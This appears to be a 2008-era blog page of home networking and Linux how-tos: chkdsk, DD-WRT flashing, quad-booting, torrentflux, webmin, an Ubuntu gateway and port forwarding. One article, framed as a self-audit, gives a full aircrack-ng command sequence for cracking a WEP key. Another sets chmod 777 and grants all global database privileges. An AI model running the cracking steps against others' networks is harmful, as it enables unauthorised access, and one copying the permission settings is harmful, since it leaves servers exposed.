Server Servers - linux & network how to’s

Occasionally your windows based pc might report error messages due to a registry problem or power failure.  I have tried many differnt programs over the years trying to fix these types of problems.  So far I have discovered that a built in program on windows based pc’s will fix or eliminate most of these problems.  The program that I use is called chkdsk.

In order to use chkdsk, first you are going to want to open up the command prompt window.  To open up the command prompt window click on the start button, then go to run.  After the run box opens up, simply type in “cmd”.  After the command prompt opens up, type in chkdsk; then press the enter button. 

 When you type in chkdsk, this will only scan your hard drive, but wil not fix any errors.  To fix the error on your drive, you will want to type in chkdsk /f.  The f option will tell chkdsk to fix the errors on the disk.  If you are running chkdsk on your primary partition, or the C: drive you must reboot your pc for chkdsk to complete the scan since your disk will currently be locked.  Once you reboot your computer, and after the POST section of your bios; check disk will begin to scan, verify and fix the errors on your disk.

In this guide I will show you how to mod your linksys wrt54gs ver 7.2 router. This will enable you to be able to use the DD-WRT firmware, which will allow many other functions for your router.  In essence this will turn a cheap router, into a very expensive router, with many advances features that only expensive router such as cisco may carry.  Some of these features include dnsmasq, vpn, radius and many other great features.  Even if you have no need for all these features, the average user will benefit since the dd-wrt firmware will also increase your wifi signal.

To begin the installation of the dd-wrt firmware, you will first need to download a few programs:

Tftp Utility

vxworkskillerGSv7-v3.bin

dd-wrt.v24-micro_generic.bin

vxworksrevert-GSv7-v3.bin

After you have downloaded the programs above, you now need to set static ip on your address.  By default on your linksys router your default gateway will be 192.168.1.1.  Learn how to set a static ip address on a windows based pc. As you can see in the window below from the ipconfig command I ran, you will see that I have set my ip address to 192.168.1.10.

After you have set a static ip address, open a web browser and type in your default gateway address for you linksys router, this should be 192.168.1.1  Once the router’s gui open up, login using the username: admin and password: admin.  As soon as you log into your router configuration screen, click on the firmware upgrades window.  Once you are inside the firmware upgrade window, upload the vxworkskillerGSv7-v3.bin file.

After you have uploaded the vxworkskillerGSv7-v3.bin file your router should automatically reboot.  After the router reboots, open up the Tftp program and upload the dd-wrt.v24-micro_generic.bin file, as seen below.  This upload could take up to ten minutes for the file upload successfully.

After waiting about 5  - 10 minutes, you can go ahead a try login into your linksys router, that is now using the dd-wrt firmware.   If you ever want to revert back to the stock firmware that your linksys router was supplied with, upload the vxworksrevert-GSv7-v3.bin file.  For more information on the DD-WRT firmware, you won’t be disappointed!

That’s right, I am here trying to persuade everyone to turn off your wireless connection.  In all reality I’m not really trying to tell you to turn off your wifi access, but will try to make you more aware of certain security vulnerabilities that wireless can offer. In this article I am going walk you through on how a war driver could hack into your wireless router that is protected with a WEP 64 bit key.

In this article I will be using a ubuntu linux ran pc, with a belkin 9050 usb wireless adapter.   The program  that I will using is called aircrack-ng.  The first thing that you must do in order to check your security on your wireless router, is find a wireless adapter that can be put into monitor mode.  To check to see if your wireless adapter is compatible.

After you have a compatible adapter and the driver is all setup, then you have to enable monitor mode.  Just to note, your wireless adapter may take on a different name, then mine does.  To find out what your wifi card is called, type in the command ifconfig. Throughout this article, I will be using a terminal program logged in under su.

The first thing that your are going to want to do when auditing your wireless security on your router is find out a little bit of information.  In order for you to audit your wireless router, you will first have to turn on monitor mode / promiscuous mode.

airmon-ng start wlan0

Since you will be hacking into your own wireless router, you will see how this is done from a hackers point of view.  The next command that you will issue, will allow you to view a list of local wireless networks in your network, what channel the network is on and the mac address of the router.

airodump-ng mon0

In order to test the security on your wireless network, you need to record the mac address of your router, what channel your router is on, SSID, and the mac address of your wireless adapter.  In order to find the mac address of your wireless adapter; open a terminal window and issue the command ifconfig.  You should see your mac address, listed as HWaddr.  After your have recorded all the important information your need, you now need to shut down your wireless adapter.
airmon-ng stop mon0
airmon-ng stop wlan0

Start monitor mode on again and set channel to 1
airmon-ng start wlan0 1

We will now test and see if we can inject packets into the router
aireplay-ng -9 -e 2WIRE276 -a 00:18:3F:7A:B8:11 mon0

Start airodum-ng and capture Ivs
airodump-ng -c 1 --bssid 00:18:3F:7A:B8:11 -w output mon0

Authenticate with the router
aireplay-ng -1 0 -e 2WIRE276 -a 00:18:3F:7A:B8:11 -h 00:11:50:FD:68:FC mon0
OR
aireplay-ng -1 6000 -o 1 -q 10 -e 2WIRE276 -a 00:18:3F:7A:B8:11 -h 00:11:50:FD:68:FC mon0

Collecting arp requests used to create data.

aireplay-ng -3 -b 00:18:3F:7A:B8:11 -h 00:11:50:FD:68:FC mon0

Use Aircrack-ng to obtain wep key

aircrack-ng -z -b 00:18:3F:7A:B8:11 output*.cap

airmon-ng stop mon0

airmon-ng stop wlan0

Login using key: 313865309

This guide will show you how to quad boot microsoft xp, vista, mandriva and ubuntu linux. There are many possible ways to quad boot four operating systems, but there is also a easy way in booting two microsoft os and two linux distros on the same machine.

To start this off, you will first want to partition space with your xp install cd, leaving free space at the end of the hard drive. You will use this free space to setup up partitions for your other os. After you have installed xp, you will then want to partition space with your vista install dvd and then install vista on your machine. After you reboot your pc, you should now a new menu that pops up before your os boots. This boot menu should allow you to boot into either xp or vista.

After you have install both of your microsoft os’s, you are now ready to begin installing your linux distros. The easiest way I found to setup the quad boot is by installing mandriva first, since ubuntu pretty much kicks ass and is really easy to use. When I install mandriva, I set up a partition for:

• /
• /boot
• swap

At the end of the installation on mandriva, you should be asked where you want to install the boot loader. You should get two options; install to the master boot record or install to the root partition. You should choose to install the boot record to the root partition. The reason you need to install the boot record to the root partition is because you will be using ubuntu to master boot record.

Once you have installed mandriva you will now install ubuntu, setting up your partitions the same as you did during the installation of mandriva. Like I said before, you will install the boot loader to the master boot record. After you have completed the ubuntu installation and your pc reboots, you should now be able to quad boot your computer.

This guide can also be modified to boot other microsoft os’s and other linux distros. One thing to remember when installing your microsoft os’s is to always install the older microsoft os first. Backward compatibility will allow the newer os to recognize the older os, but the older os will not recognize the newer microsoft os. For instance install in this order:

• Windows 3.1
• Windows 95
• Windows 98
• Windows ME
• Windows 2000
• Windows Xp
• Windows Vista

Another important hint is to always install you microsoft os’s first and your linux distros last. And when you install you linux distros, make sure that you install the boot loader to the root partition on your 3rd os and install to the master boot record on the 4th os.

Boot Record for quad boot

• Install Xp to master boot
• Install Vista to master boot
• Install mandriva to root partition
• Install ubuntu to master boot

Boot Record for 6 - etc boot

• Install Xp to master boot
  Install Vista to master boot
  Install mandriva to root partition
  Install red hat to root partition
  Install other linux os to root partion
  Install ubuntu to master boot

Torrentflux-b4rt is great program to turn a old computer you have laying around into a torrent server. Torrentflux-b4rt is look other torrent programs you may have used in the past, but this program is meant for linux and can be accessed using a ip address. Since torrentflux-b4rt runs as a web ui, the greatest thing about torrentflux is that it can be accessed from other computers on your local area network and from you, while you are on the road. I personally used torrentflux-b4rt to download torrents, since I am not always at the same computer in my house.

The following directions will show you how to install torrentflux-b4rt on Ubuntu 8.04, but can be used for other linux distros with minor changes. The first thing that you are going to want to do is login in under su.

su

After you login in under su, you now are going to have to install a basic lamp system for your linux pc. A lamp system is simply mysql and apache, which will allow you to access your torrentflux-b4rt from a web page.

apt-get install apache2 php5-mysql libapache2-mod-php5 mysql-server bzip2


After you have installed the lamp system, we can begin to download and extract the torrentflux-b4rt program.

cd /var/www

wget http://gunblade.fakap.net/doc/torrentflux-b4rt_1.0-beta2.tar.bz2

tar -xjvf torrentflux-b4rt_1.0-beta2.tar.bz2

This command will change the torrentflux-b4rt name into a more easier to remember name.

mv torrentflux-b4rt_1.0-beta2 torrentflux

We also need to install a few more programs.

apt-get install php5-cli php5-gd phpmyadmin zip unzip unrar libxml-dom-perl libxml-simple-perl libthreads-shared-perl libhtml-parser-perl transmission-cli libdigest-sha1-perl

After you have installed the above packages, point your web browser towards http://IP/torrentflux/html/setup.php to being the installation process of torrentflux-b4rt.

Click on the next button.

Once you have selected MySQL for your database type, point another browser window toward http://IP/phpmyadmin and login under root and your root password, so that you can create a new user for your torrentflux account. Once phpmyadmin opens up, you need to click on priviledges and then on add a new user. You should now have a window that resembles the picture below. All you have to do is fill in the boxes on the top of the screen and hit the check all button under global priviledges. Make sure you remember the username and password, since this will be your login information for torrentflux-b4rt.

After you have filled in the above forms, click on the go button. You have now created yourself a user name and password for your torrentflux-b4rt account.

Once you have created yourself a username, go back to the http://IP/torrentflux/html/setup.php page and fill in the information for your MySQL database. All you have to do to is fill in the forms, with the user account information you created on the http://IP/phpmyadmin page.

After you have created the new database, you now need to chmod a few files to 777. There are a few ways to chmod these files. One way is to use webmin, which is displayed below. Or you can also chmod the files under the command window.

chmod 777 /var/www/torrentflux/html/inc/config/

After you have completed the install you should have window like the one below. Notice there are a few programs that are not installed, but you torrentflux-b4rt server will work perfectly fine without the other programs.

The last thing that you have to do in order to access your torrentflux-b4rt account is to delete /var/www/torrentflux/html/setup.php.

rm /var/www/torrentflux/html/setup.php

http://IP/torrentflux/html/login.php

Webmin is a great tool to install if you would like a gui based program to help manage your server. This guide will show you how to install and setup webmin ver 1.441 on a ubuntu 8.04, but will work for other versions of ubuntu linux. The first thing that you are going to want to do is login under su.

su

cd /opt

mkdir webmin

cd webmin

wget http://prdownloads.sourceforge.net/webadmin/webmin-1.441.tar.gz

tar -xzvf webmin-1.441.tar.gz

After you have issued the following commands, you should now have the latest webmin source program downloaded and extracted into the /opt directory. After you have the webmin program extracted you are going to want to install a few other pieces of software to allow you to connect to webmin under SSL.

apt-get install openssl perl perl-modules libpam-runtime libauthen-pam-perl libnet-ssleay-perl

After you have installed the above software, issue the next few commands, which will startup the install process.

cd webmin-1.441

./setup.sh

During the install process, all you have to do is press the enter button a few times and answer the questions. Just choose a port number, a user name and password and select yes for SSL and start webmin at boot time. To access the webmin page, open up a web browser and type in your ip and the port number. For instance:

https://192.168.1.1:10000

192.168.1.1 = Ip address

10000 = port number

If you don’t know what your ip address is, go to the konsole and type in

ifconfig

root@homeserver:/opt/webmin/webmin-1.441# ifconfig
eth0 Link encap:Ethernet HWaddr 00:16:76:5c:33:0c
inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::216:76ff:fe5c:330c/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:17891 errors:0 dropped:0 overruns:0 frame:0
TX packets:22347 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:15784214 (15.0 MB) TX bytes:2786847 (2.6 MB)
Interrupt:21 Base address:0×1200

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

In this article you will learn how to setup your very own ubuntu internet gateway / router.  The ubuntu gateway / router will act exactly like any other router that you can purchase at the store, except your linux box will have more functionality and extra security. What you will need to build your ubuntu gateway:

• Extra computer
• (2) Ethernet cards
• Switch
• Ubuntu 8.04 LTS Server Edition
• Putty

This article will explain how to setup a fresh install of Ubuntu 8.04 server edition, configuring a dhcp server for a local network,while a including a firewall from the nasty internet. The first thing that you are going to do is a fresh install of the Ubuntu server edition, but selecting only Open SSH server during the software installation section of the Ubuntu install. After the installation completes and your pc reboots, you are then going to want to set a root password (su).

sudo passwd root

After you have a set a root password, login into root by typing the following command:

su

After you are in super user mode (root) we are then going to want to update our Ubuntu Bistro. Type the following commands to update the os and other programs.

apt-get update

apt-get upgrade

After your computer updates, restart it.

reboot

Setup Network Cards

vi /etc/network/interfaces

In the example below my eth0 represents the network interface that connects to the internet and the eth1 interface connect to switch. The switch then connects to all of your other networked devices, such as your gaming system and other networked devices. I added the following code into the /etc/network/interfaces file:

auto eth1

iface eth1 inet static

address 192.168.10.1

netmask 255.255.255.0

network 192.168.10.0

broadcast 192.168.10.255

/etc/init.d/networking restart

The next following step is not required, but I like to set a hostname for my gateway, all you have to do is install apache and you could have your own personal intranet or web server.

vi /etc/hosts

echo homeserver.gateway.2wire.net > /etc/hostname

/etc/init.d/hostname.sh start

hostname

hostname -f

Once you have completed the following above, you can use putty to access your linux machine from your windows based pc. This will allow you to copy and paste the following code, to speed up the process of creating your linux gateway. The first thing that you must do to use putty to configure your Ubuntu gateway, is set a static ip on your windows machine, since we don’t have a dhcp server installed yet. Set a static ip address for Microsoft Vista.If you don’t want to use putty you can just type out the rest of the code, putty just makes it easier. Once you have chosen your terminal program that your are going to use, again login under root. It is now time to install some software, that we will need to setup the gateway.

apt-get install dhcp3-server bind9 vim perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl libmd5-perl

Enable packet forwarding

vi /etc/sysctl.conf

# Uncomment the next line to enable packet forwarding for IPv4

net.ipv4.ip_forward=1

echo 1 > /proc/sys/net/ipv4/ip_forward

Install Webmin

Webmin is anther good program to use to configure you ubuntu gateway and other server programs that you might use. If you use webmin, you will be able to easily configure you server, using any web browser you choose.

cd /opt

mkdir webmin

cd /opt/webmin

wget http://prdownloads.sourceforge.net/webadmin/webmin-1.430.tar.gz

tar xzvf webmin-1.430.tar.gz

cd webmin-1.430/

./setup.sh

During installation you will be asked a few questions, just press enter a few times. The only thing that you want to change is the port number, user name and password and also say yes to SSL.

Configure dhcp

Network address - 192.168.10.0

Netmask - 255.255.255.0

Address ranges -192.168.10.100 - 192.168.10.200

After you have entered the the above click on the create button. You should now see a icon that reads 192.168.10.0, click on this new icon and then click on the Edit Client Options button.

Subnet mask - 255.255.255.0

Default routers - 192.168.10.1

Broadcast address - 192.168.10.255

DNS servers - 192.168.10.1

After you have the above into the client options windows click the save button twice, which should return you to the main Dhcp server window. Inside the dhcp server screen, you see a button called Edit Network Interface, click this button and select eth1 then click save. Now click on the Start Sever button, if you see no errors, you are good.

Configure firewall

Input:

Accept if input interface is lo

Accept if input interface is eth0 and state of connection is ESTABLISHED,RELATED

Accept if input interface is eth1

Forward:

Accept if input interface is eth0 and output interface is eth1 and state of connection is ESTABLISHED,RELATED

Accept if input interface is eth1 and output interface is eth0

Setting a static ip for your vista machine is a real simple task. The first thing you must do to set a static ip address for you microsoft vista pc is go to your control panel and click on network and sharing center icon. Once you click on the Network and Sharing Center icon you should have a window that resembles the one below, you need to click on the Manage network connections located under Tasks on the left side of the screen.

After you have clicked on Manage network connections you should have a window that looks like the one below. **Note - You might have more then one connections under this window, all you have to worry about is selecting the right network connection that you will be using. (Example - Ethernet , wifi.) Once you have located the adapter that you will be using. right click on the network adapter connection, and click properties.

Once the Local Area Connection Properties window opens, select the Internet Protocol Version 4 (TCP/IP) as seen below and click on the properties button.

Inside the Internet Protocol Version 4 properties window, you will set your static ip address for your pc. In my example I am using the following:

Ip address: 192.168.10.200
Subnet mask: 255.255.255.0
Default gateway: 192.168.10.1

Preferred DNS server: 192.168.10.1
Alternate DNS server: 192.168.1.254

You can also use the following DNS server addresses provide by Opendns.com, to improve you internet browsing speed.

208.67.222.222
208.67.220.220

Are you looking for a cheap way to boost your wifi signal or help find more wireless access points with your pc. A simple way to boost your wireless signal is by mounting a wireless adapter to the focal point of a satellite dish. The best way to the find the focal point is by putting the wireless adapter on the dish and moving it around slowing, until you find the highest signal focused onto a single wireless access point.

Another great way to boost your wifi signal is by putting your wireless adapter into a soup can.  This type of rigged contraption will transform your wireless adapter into a great directional wireless adapter.  I was able to more then double the amount wifi networks that I discovered around my apartment.

There are many reasons that you might want to setup port forwarding, or open a port up on your 2wire router. Some of these reasons your might open a port is because you are running certain specialized software application on your pc, such as utorrent, a http server, ftp, etc. In my example I will focus on a few main programs that require a specialized port to be open, in order for the application to run well. The first that you are going to want to do is open a web browser and locate the default gateway screen for you 2 wire router. You can usually locate the default gateway screen at ip 192.168.1.254, but if you for some reason have changed your router’s default gateway, then use that ip address. If you have forgotten what your default gateway ip address is, then open command prompt and type in “ipconfig”, then look for the ip that is next to Default Gateway. If you are using linux, then open a terminal window as root or su, then type in ifconfig, then look for gateway. After you have accessed the 2wire default gateway screen you should have a window that appears similar to the one below.

Once you have accessed your default gateway screen for your router, you will then want to click on the firewall tab at the top of the screen. After the firewall summary screen opens, you will then click on the firewall settings tabs to begin setting up a open port on your 2wire dsl router.

Once the firewall setting screen opens you can then add a open port to your specific pc. Under step 2 you will see a list of predefined applications that have already been created for certain video games, servers and telephony(voip) services. Since in my example we are opening a port for utorrent, we are going to manually configure port forwarding for one of my pc’s. To be opening a port for utorrent, click on “add new user-defined application” you can find the link just below the list on the left side of the screen.

Once you click on add new user-defined application, you should have a window that resembles the one below. Within this window you should now be able to enter a name for the application that you are opening a port for. Underneath the application name, you know have the choice of either tcp or udp, and then you would enter a port number or a port range that you want to open up.

For security reasons, you should only open one port, unless the application specifies other wise. The more ports that you have open on you router, the more doorways you open for hackers and viruses to enter your home network. Since we are opening a port for utorrent, you are going to want to click on the tcp box and then enter the port number that utorrent gives you, in my example I am opening up port number 51225. After you have entered you port number, click the add definition button. Once you have added the definition, you are going to then click on the back button.

After you have clicked the back button, you should now be at the edit firewall settings screen. All you have to do now is select your computer from the list that is listed under 1. After you have selected the computer that utorrent will be hosted on, all you have to do is find the recently created user defined definition from the list under number 2. After you have located the utorrent port forwarding application simply click on the add button, which should assign the utorrent port forwarding application to your computer. After you have completed the above steps, you should be all set, now your utorrent program should download and upload at a faster speed.